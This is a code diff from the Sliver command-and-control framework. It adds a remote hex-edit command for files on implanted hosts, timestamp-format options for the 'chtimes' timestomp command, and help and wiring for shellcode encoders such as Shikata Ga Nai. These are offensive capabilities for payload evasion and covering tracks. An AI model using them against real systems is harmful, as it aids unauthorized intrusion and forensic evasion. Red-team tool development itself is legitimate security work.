[[.Bold]]About:[[.Normal]] Delete a remote file or directory.`
chtimesHelp = `[[.Bold]]Command:[[.Normal]] chtimes [--unix | --unix-ms | --rfc3339 | --rfc1123] <path> <atime> <mtime>
[[.Bold]]About:[[.Normal]] Change access and modification times on a file (timestomp).
[[.Bold]][[.Underline]]Time Formats[[.Normal]]
Default (datetime): "2006-01-02 15:04:05"
--unix: 1704067200
--unix-ms: 1704067200000
--rfc3339: 2024-01-01T00:00:00Z
--rfc1123: Mon, 02 Jan 2006 15:04:05 MST
[[.Bold]][[.Underline]]Examples[[.Normal]]
chtimes /tmp/file "2024-01-01 12:34:56" "2024-01-01 12:35:56"
chtimes --unix /tmp/file 1704112496 1704112556
chtimes --unix-ms /tmp/file 1704112496000 1704112556000
chtimes --rfc3339 /tmp/file 2024-01-01T12:34:56Z 2024-01-01T12:35:56Z
chtimes --rfc1123 /tmp/file "Mon, 02 Jan 2006 15:04:05 MST" "Mon, 02 Jan 2006 16:04:05 MST"
`
catHelp = `[[.Bold]]Command:[[.Normal]] cat <remote path>
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
editHelp = `[[.Bold]]Command:[[.Normal]] edit <remote path>
[[.Bold]]About:[[.Normal]] Download a remote text file, edit it in a built-in TUI editor, and optionally upload changes.
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l) and insert mode (i). Use :wq to save+quit or :q to quit.
[[.Bold]]Syntax:[[.Normal]] Use --syntax <lexer> to force a lexer or --syntax-select to pick one interactively.
[[.Bold]]Line Numbers:[[.Normal]] Use --line-numbers to start with line numbers on; toggle with :n.`
hexEditHelp = `[[.Bold]]Command:[[.Normal]] hex-edit [--max-size <size>] [--offset <byte offset>] <remote path>
[[.Bold]]About:[[.Normal]] Download a remote file and edit it in a built-in hex editor, then optionally upload changes.
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l). Use i for hex edit mode, a for ASCII edit mode, :wq to save+quit or :q to quit.
[[.Bold]]Size Limit:[[.Normal]] Default max size is 8MB. Use --max-size to override (e.g., 512KB, 12MB).
[[.Bold]]Offset:[[.Normal]] Use --offset to jump to a specific byte offset when opening the file.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
@@ -385,6 +433,42 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
generate --format shellcode
`
shikataGaNaiHelp = `[[.Bold]]Command:[[.Normal]] shikata-ga-nai [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Encodes shellcode with Shikata Ga Nai. This uses the same backend implementation as
[[.Bold]]shellcode-encoders encode[[.Normal]] with the shikata_ga_nai encoder, but exposes SGN-specific options
like architecture, iterations, and bad characters.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode x64 shellcode with 3 iterations:
shikata-ga-nai -a amd64 -i 3 /tmp/payload.bin
Avoid bad chars and write to a file:
shikata-ga-nai -b 000a0d -s /tmp/payload.sgn /tmp/payload.bin
[[.Bold]]Related:[[.Normal]] shellcode-encoders encode --encoder shikata_ga_nai ...`
shellcodeEncodersHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders
[[.Bold]]About:[[.Normal]] Lists the shellcode encoders supported by the server along with architectures and descriptions.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
List encoders and supported architectures:
shellcode-encoders
`
shellcodeEncodersEncodeHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders encode [local path to raw shellcode]...
[[.Bold]]About:[[.Normal]] Encodes one or more shellcode files using a server-side encoder. Encoder support depends on
architecture; use [[.Bold]]shellcode-encoders[[.Normal]] to list valid combinations.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode a single file with shikata_ga_nai:
shellcode-encoders encode --encoder shikata_ga_nai --arch amd64 /tmp/payload.bin
Encode multiple files and write outputs to a directory:
shellcode-encoders encode --encoder xor --arch amd64 -o /tmp/out payload1.bin payload2.bin
Avoid bad characters with SGN:
shellcode-encoders encode --encoder shikata_ga_nai --arch 386 -b 000a0d -o /tmp/encoded.bin /tmp/payload.bin
`
migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <flags>
[[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <flags>.`
+37
View File
@@ -0,0 +1,37 @@
package hexedit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the hex-edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
hexEditCmd := &cobra.Command{
Use: consts.HexEditStr + " <remote path>",
Short: "Hex edit a remote file",
Long: help.GetHelpFor([]string{consts.HexEditStr}),
Args: cobra.ExactArgs(1),
GroupID: consts.FilesystemHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
HexEditCmd(cmd, con, args)
},
}
flags.Bind("", false, hexEditCmd, func(f *pflag.FlagSet) {
f.String("max-size", "8MB", "maximum file size to load (e.g. 8MB, 512KB)")
f.Int64("offset", 0, "byte offset to jump to (decimal or 0x...)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(hexEditCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to hex edit"),
)
return []*cobra.Command{hexEditCmd}
}
+713
View File
@@ -0,0 +1,713 @@
package hexedit
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/util"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"golang.org/x/term"
)
type editorMode int
const (
modeNormal editorMode = iota
modeHexEdit
modeASCIIEdit
modeCommand
)
type exitAction int
const (
actionNone exitAction = iota
actionQuit
actionSaveQuit
)
const bytesPerLine = 16
type editorResult struct {
Data []byte
Modified bool
Action exitAction
Force bool
}
type editorModel struct {
data []byte
original []byte
modified []bool
modifiedCount int
cursor int
top int
width int
height int
mode editorMode
command string
commandPrefix rune
pending rune
dirty bool
forceQuit bool
action exitAction
filename string
message string
clearMessage bool
nibbleSet bool
nibbleValue byte
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
modifiedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
)
func newEditorModel(data []byte, filename string, offset int) *editorModel {
copyData := append([]byte(nil), data...)
model := &editorModel{
data: copyData,
original: append([]byte(nil), data...),
modified: make([]bool, len(copyData)),
mode: modeNormal,
filename: filename,
commandPrefix: ':',
}
if offset > 0 && offset < len(copyData) {
model.cursor = offset
}
return model
}
func (m *editorModel) Init() tea.Cmd {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
return nil
}
func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.WindowSizeMsg:
m.width = msg.Width
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
case modeHexEdit:
return m.handleHexEdit(msg)
case modeASCIIEdit:
return m.handleASCIIEdit(msg)
default:
return m.handleNormal(msg)
}
}
return m, nil
}
func (m *editorModel) View() string {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
textHeight := m.textHeight()
var b strings.Builder
for i := 0; i < textHeight; i++ {
lineIndex := m.top + i
b.WriteString(m.renderLine(lineIndex))
if i < textHeight-1 {
b.WriteByte('\n')
}
}
if m.height < 2 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
if m.height < 3 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
}
func (m *editorModel) result() editorResult {
data := append([]byte(nil), m.data...)
return editorResult{
Data: data,
Modified: m.dirty,
Action: m.action,
Force: m.forceQuit,
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
m.commandPrefix = ':'
case tea.KeyEnter:
m.executeCommand(strings.TrimSpace(m.command))
m.command = ""
m.mode = modeNormal
m.commandPrefix = ':'
if m.action != actionNone {
return m, tea.Quit
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
}
return m, nil
}
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.nibbleSet = false
case tea.KeyBackspace:
if m.nibbleSet {
m.nibbleSet = false
return m, nil
}
m.moveLeft()
case tea.KeyLeft:
m.moveLeft()
m.nibbleSet = false
case tea.KeyRight:
m.moveRight()
m.nibbleSet = false
case tea.KeyUp:
m.moveUp()
m.nibbleSet = false
case tea.KeyDown:
m.moveDown()
m.nibbleSet = false
case tea.KeyRunes:
for _, r := range msg.Runes {
val, ok := hexNibble(r)
if !ok {
continue
}
if !m.nibbleSet {
m.nibbleValue = val << 4
m.nibbleSet = true
continue
}
m.setByte(m.nibbleValue | val)
m.nibbleSet = false
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if r < 0 || r > 0xFF {
continue
}
m.setByte(byte(r))
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if m.handleNormalRune(r) {
break
}
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormalRune(r rune) bool {
if m.pending != 0 {
handled := true
switch m.pending {
case 'g':
if r == 'g' {
m.gotoTop()
} else {
handled = false
}
default:
handled = false
}
m.pending = 0
if handled {
return true
}
}
switch r {
case 'h':
m.moveLeft()
case 'j':
m.moveDown()
case 'k':
m.moveUp()
case 'l':
m.moveRight()
case '0':
m.moveLineStart()
case '$':
m.moveLineEnd()
case 'i':
m.mode = modeHexEdit
m.nibbleSet = false
case 'a':
m.mode = modeASCIIEdit
case 'x':
m.setByte(0x00)
case 'g':
m.pending = 'g'
case 'G':
m.gotoBottom()
case ':':
m.mode = modeCommand
m.command = ""
m.commandPrefix = ':'
}
return false
}
func (m *editorModel) executeCommand(cmd string) {
if cmd == "" {
return
}
if isNumericOffset(cmd) {
if value, err := strconv.ParseInt(cmd, 0, 64); err == nil {
m.gotoOffset(int(value))
return
}
}
switch strings.ToLower(cmd) {
case "q":
m.action = actionQuit
case "q!":
m.action = actionQuit
m.forceQuit = true
case "wq", "x":
m.action = actionSaveQuit
case "w":
m.message = "Use :wq to upload and exit"
m.clearMessage = true
default:
m.message = fmt.Sprintf("Unknown command: %s", cmd)
m.clearMessage = true
}
}
func (m *editorModel) renderLine(lineIndex int) string {
totalWidth := m.textWidth()
if totalWidth <= 0 {
return ""
}
if lineIndex >= m.totalLines() {
return lineStyle.Width(totalWidth).Render("~")
}
lineStart := lineIndex * bytesPerLine
hexCells := make([]string, bytesPerLine)
asciiCells := make([]string, bytesPerLine)
for i := 0; i < bytesPerLine; i++ {
idx := lineStart + i
if idx >= len(m.data) {
hexCells[i] = " "
asciiCells[i] = " "
continue
}
byteVal := m.data[idx]
hexRaw := fmt.Sprintf("%02x", byteVal)
if idx == m.cursor && m.mode == modeHexEdit && m.nibbleSet {
hexRaw = string([]byte{hexChar(m.nibbleValue >> 4), '_'})
}
asciiRaw := string(printableByte(byteVal))
isModified := m.isModified(idx)
if idx == m.cursor {
if isModified {
hexCells[i] = modifiedCursorStyle.Render(hexRaw)
asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
} else {
hexCells[i] = cursorStyle.Render(hexRaw)
asciiCells[i] = cursorStyle.Render(asciiRaw)
}
continue
}
if isModified {
hexCells[i] = modifiedStyle.Render(hexRaw)
asciiCells[i] = modifiedStyle.Render(asciiRaw)
continue
}
hexCells[i] = hexRaw
asciiCells[i] = asciiRaw
}
var b strings.Builder
b.WriteString(fmt.Sprintf("%08x", lineStart))
b.WriteString(": ")
for i := 0; i < bytesPerLine; i++ {
if i == 8 {
b.WriteByte(' ')
}
b.WriteString(hexCells[i])
if i < bytesPerLine-1 {
b.WriteByte(' ')
}
}
b.WriteString(" |")
for i := 0; i < bytesPerLine; i++ {
b.WriteString(asciiCells[i])
}
b.WriteString("|")
return lineStyle.Width(totalWidth).Render(b.String())
}
func (m *editorModel) statusLine() string {
mode := "NORMAL"
switch m.mode {
case modeHexEdit:
mode = "HEX"
case modeASCIIEdit:
mode = "ASCII"
case modeCommand:
mode = "COMMAND"
}
fileName := baseName(m.filename)
if fileName == "" {
fileName = "[No Name]"
}
modified := ""
if m.dirty {
modified = " [+]"
}
cursor := m.cursor
return fmt.Sprintf(" %s %s Off 0x%08x (%d) Size %s%s", mode, fileName, cursor, cursor, util.ByteCountBinary(int64(len(m.data))), modified)
}
func (m *editorModel) commandLine() string {
if m.mode == modeCommand {
return ":" + m.command
}
if m.message != "" {
return m.message
}
switch m.mode {
case modeHexEdit:
return "ESC: normal hex: 0-9/a-f :wq save+quit :q quit"
case modeASCIIEdit:
return "ESC: normal type to edit bytes :wq save+quit :q quit"
default:
return "i: hex edit a: ascii edit h/j/k/l move x zero :wq save+quit :q quit"
}
}
func (m *editorModel) textHeight() int {
if m.height <= 2 {
return 1
}
return m.height - 2
}
func (m *editorModel) textWidth() int {
if m.width <= 0 {
return 1
}
return m.width
}
func (m *editorModel) totalLines() int {
if len(m.data) == 0 {
return 1
}
return (len(m.data) + bytesPerLine - 1) / bytesPerLine
}
func (m *editorModel) ensureCursorVisible() {
if len(m.data) == 0 {
m.cursor = 0
m.top = 0
return
}
if m.cursor < 0 {
m.cursor = 0
}
if m.cursor >= len(m.data) {
m.cursor = len(m.data) - 1
}
line := m.cursor / bytesPerLine
height := m.textHeight()
if line < m.top {
m.top = line
} else if line >= m.top+height {
m.top = line - height + 1
}
if m.top < 0 {
m.top = 0
}
maxTop := m.totalLines() - height
if maxTop < 0 {
maxTop = 0
}
if m.top > maxTop {
m.top = maxTop
}
}
func (m *editorModel) moveLeft() {
if len(m.data) == 0 {
return
}
if m.cursor > 0 {
m.cursor--
}
}
func (m *editorModel) moveRight() {
if len(m.data) == 0 {
return
}
if m.cursor < len(m.data)-1 {
m.cursor++
}
}
func (m *editorModel) moveUp() {
if len(m.data) == 0 {
return
}
if m.cursor >= bytesPerLine {
m.cursor -= bytesPerLine
}
}
func (m *editorModel) moveDown() {
if len(m.data) == 0 {
return
}
if m.cursor+bytesPerLine < len(m.data) {
m.cursor += bytesPerLine
}
}
func (m *editorModel) moveLineStart() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
m.cursor = line * bytesPerLine
}
func (m *editorModel) moveLineEnd() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
end := (line+1)*bytesPerLine - 1
if end >= len(m.data) {
end = len(m.data) - 1
}
m.cursor = end
}
func (m *editorModel) gotoTop() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = 0
}
func (m *editorModel) gotoBottom() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = len(m.data) - 1
}
func (m *editorModel) gotoOffset(offset int) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if offset < 0 || offset >= len(m.data) {
m.message = fmt.Sprintf("Offset out of range: %d", offset)
m.clearMessage = true
return
}
m.cursor = offset
m.ensureCursorVisible()
}
func (m *editorModel) setByte(value byte) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if m.cursor >= len(m.data) || m.cursor >= len(m.original) {
return
}
wasModified := m.modified[m.cursor]
orig := m.original[m.cursor]
m.data[m.cursor] = value
if value == orig {
if wasModified {
m.modified[m.cursor] = false
if m.modifiedCount > 0 {
m.modifiedCount--
}
}
} else if !wasModified {
m.modified[m.cursor] = true
m.modifiedCount++
}
m.dirty = m.modifiedCount > 0
}
func printableByte(b byte) byte {
if b >= 32 && b <= 126 {
return b
}
return '.'
}
func (m *editorModel) isModified(idx int) bool {
if idx < 0 || idx >= len(m.modified) {
return false
}
return m.modified[idx]
}
func hexChar(n byte) byte {
if n < 10 {
return '0' + n
}
return 'a' + (n - 10)
}
func hexNibble(r rune) (byte, bool) {
switch {
case r >= '0' && r <= '9':
return byte(r - '0'), true
case r >= 'a' && r <= 'f':
return byte(r-'a') + 10, true
case r >= 'A' && r <= 'F':
return byte(r-'A') + 10, true
}
return 0, false
}
func isNumericOffset(value string) bool {
value = strings.TrimSpace(value)
if value == "" {
return false
}
if strings.HasPrefix(strings.ToLower(value), "0x") {
_, err := strconv.ParseInt(value, 0, 64)
return err == nil
}
for _, r := range value {
if r < '0' || r > '9' {
return false
}
}
return true
}
func popRune(value string) string {
runes := []rune(value)
if len(runes) == 0 {
return value
}
return string(runes[:len(runes)-1])
}
func baseName(path string) string {
if path == "" {
return ""
}
clean := strings.ReplaceAll(path, "\\", "/")
if idx := strings.LastIndex(clean, "/"); idx != -1 {
return clean[idx+1:]
}
return path
}
+349
View File
@@ -0,0 +1,349 @@
package hexedit
import (
"context"
"errors"
"fmt"
"strconv"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const (
beaconPollInterval = 1 * time.Second
)
// HexEditCmd downloads a remote file, opens it in a hex editor, and optionally uploads changes.
func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
maxSizeStr, _ := cmd.Flags().GetString("max-size")
maxSize, err := parseByteSize(maxSizeStr)
if err != nil {
con.PrintErrorf("Invalid --max-size %q: %s\n", maxSizeStr, err)
return
}
if maxSize <= 0 {
con.PrintErrorf("--max-size must be greater than zero\n")
return
}
offset, _ := cmd.Flags().GetInt64("offset")
if offset < 0 {
con.PrintErrorf("--offset must be zero or positive\n")
return
}
fetchSize := maxSize + 1
if fetchSize < maxSize {
fetchSize = maxSize
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath, fetchSize)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if int64(len(data)) > maxSize {
con.PrintErrorf("Remote file size %s exceeds --max-size %s\n", util.ByteCountBinary(int64(len(data))), util.ByteCountBinary(maxSize))
return
}
if offset > 0 {
if len(data) == 0 {
con.PrintErrorf("Offset %d out of range for empty file\n", offset)
return
}
if offset >= int64(len(data)) {
con.PrintErrorf("Offset %d out of range (file size %d bytes)\n", offset, len(data))
return
}
}
path := download.Path
if path == "" {
path = remotePath
}
for {
result, err := runHexEditor(data, path, int(offset))
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
data = result.Data
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
if err := uploadEditedContent(cmd, con, path, data); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
model := newEditorModel(data, filename, offset)
program := tea.NewProgram(model, tea.WithAltScreen())
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string, maxBytes int64) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
MaxBytes: maxBytes,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func parseByteSize(input string) (int64, error) {
value := strings.TrimSpace(input)
if value == "" {
return 0, fmt.Errorf("size is required")
}
value = strings.ReplaceAll(value, " ", "")
value = strings.ToUpper(value)
idx := 0
for idx < len(value) {
c := value[idx]
if (c >= '0' && c <= '9') || c == '.' {
idx++
continue
}
break
}
if idx == 0 {
return 0, fmt.Errorf("invalid size %q", input)
}
numStr := value[:idx]
unitStr := strings.TrimSpace(value[idx:])
if unitStr == "" {
unitStr = "B"
}
multiplier := int64(1)
switch unitStr {
case "B":
multiplier = 1
case "K", "KB", "KIB":
multiplier = 1024
case "M", "MB", "MIB":
multiplier = 1024 * 1024
case "G", "GB", "GIB":
multiplier = 1024 * 1024 * 1024
case "T", "TB", "TIB":
multiplier = 1024 * 1024 * 1024 * 1024
default:
return 0, fmt.Errorf("unknown size unit %q", unitStr)
}
numVal, err := strconv.ParseFloat(numStr, 64)
if err != nil {
return 0, fmt.Errorf("invalid size %q", input)
}
if numVal <= 0 {
return 0, fmt.Errorf("size must be greater than zero")
}
size := int64(numVal * float64(multiplier))
if size <= 0 {
return 0, fmt.Errorf("size is out of range")
}
return size, nil
}
+6 -2
View File
@@ -150,11 +150,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
f.Bool("unix", false, "interpret timestamps as Unix seconds")
f.Bool("unix-ms", false, "interpret timestamps as Unix milliseconds")
f.Bool("rfc3339", false, "interpret timestamps as RFC3339")
f.Bool("rfc1123", false, "interpret timestamps as RFC1123")
})
carapace.Gen(chtimesCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to file to change access timestamps"),
carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"),
carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"),
carapace.ActionValues().Usage("last accessed time (default: 2006-01-02 15:04:05; see --help for format flags)"),
carapace.ActionValues().Usage("last modified time (default: 2006-01-02 15:04:05; see --help for format flags)"),
)
getprivsCmd := &cobra.Command{
+7 -1
View File
@@ -46,6 +46,7 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/taskmany"
@@ -69,6 +70,10 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
HiddenDefaultCmd: true,
},
}
if !con.IsCLI {
server.SilenceErrors = true
server.SilenceUsage = true
}
// Utility function to be used for binding new commands to
// the sliver menu: call the function with the name of the
@@ -103,7 +108,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
crack.Commands,
certificates.Commands,
clean.Command,
aka.ServerCommands,
aka.ServerCommands,
)
// C2 Network
@@ -119,6 +124,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
// Payloads
bind(consts.PayloadsHelpGroup,
sgn.Commands,
shellcodeencoders.Commands,
generate.Commands,
builders.Commands,
)
@@ -0,0 +1,55 @@
package shellcodeencoders
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the shellcode-encoders command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
shellcodeEncodersCmd := &cobra.Command{
Use: consts.ShellcodeEncodersStr,
Short: "List supported shellcode encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersCmd(cmd, con, args)
},
GroupID: consts.PayloadsHelpGroup,
}
flags.Bind("shellcode-encoders", false, shellcodeEncodersCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
shellcodeEncodersEncodeCmd := &cobra.Command{
Use: "encode <shellcode file>...",
Short: "Encode shellcode using server encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr, "encode"}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersEncodeCmd(cmd, con, args)
},
}
flags.Bind("shellcode-encoders encode", false, shellcodeEncodersEncodeCmd, func(f *pflag.FlagSet) {
f.StringP("encoder", "e", "", "encoder to use (shikata_ga_nai, xor, xor_dynamic)")
f.StringP("arch", "a", "amd64", "architecture of the shellcode")
f.IntP("iterations", "i", 1, "number of encoding iterations")
f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.StringP("output", "o", "", "output file (or directory when encoding multiple files)")
